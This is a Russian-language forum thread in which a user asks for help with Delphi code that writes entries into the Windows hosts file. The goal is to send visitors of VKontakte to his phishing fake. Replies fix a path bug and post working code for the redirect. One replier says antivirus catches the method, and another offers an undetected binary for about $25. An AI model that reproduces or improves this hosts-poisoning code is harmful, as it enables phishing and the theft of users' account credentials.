Редирект [DELPHI]

Сдравствуйте уважаемые форумчане.
В делфи надо сделать редирект с контакта на мой фейк, через редактирование файла host.

Code:

procedure TForm1.FormActivate(Sender: TObject);
var f:textfile;
begin

assignfile(f,GetSpecialFolderPath(CSIDL_WINDOWS)+'\system32\drivers\etc\hosts');
append(f);
writeln(f,'ip    www.site.ru');
writeln(f,'ip    site.ru');
closefile(f);
end;

Что не правильно? Помогите решить наболевший вопрос!

 

Code:

assignfile(f,GetSpecialFolderPath(CSIDL_WINDOWS)+'  \system32\drivers\etc\hosts');

Зачем поставил пробелы перед "\system32"?

 

Я а знаю в чем, проблема но не скажу Нефиг людей дурить

 

спокойно пашет код такого вида:

Code:

var
  f : textfile;
  buf : array[0..256] of char;
begin
  GetWindowsDirectory(buf, 256);
  assignfile(f, buf + '\system32\drivers\etc\hosts');
  append(f);
  writeln(f,#13#10'ip www.site.ru'); // #13#10 для того чтобы небыло глюков если небыло перехода строки на предыдущей записи
  writeln(f,'ip site.ru');
  closefile(f);
 end;

а вообще этот метод ооочень паливный. даже самая ленивая проактивка его палит

 

неправильнее всего то что вообще не хватает половины необходимого для работы кода.

upd. такой как тебе нужен непалящийся проактивкой бинарник тебе будет стоить долларов 25 - если нада стучи.
Ессна без сурсов.
В твоем же случае не "неправильно". В твоем случае у тебя крыло от машины и ты спрашиваешь почему она не едет.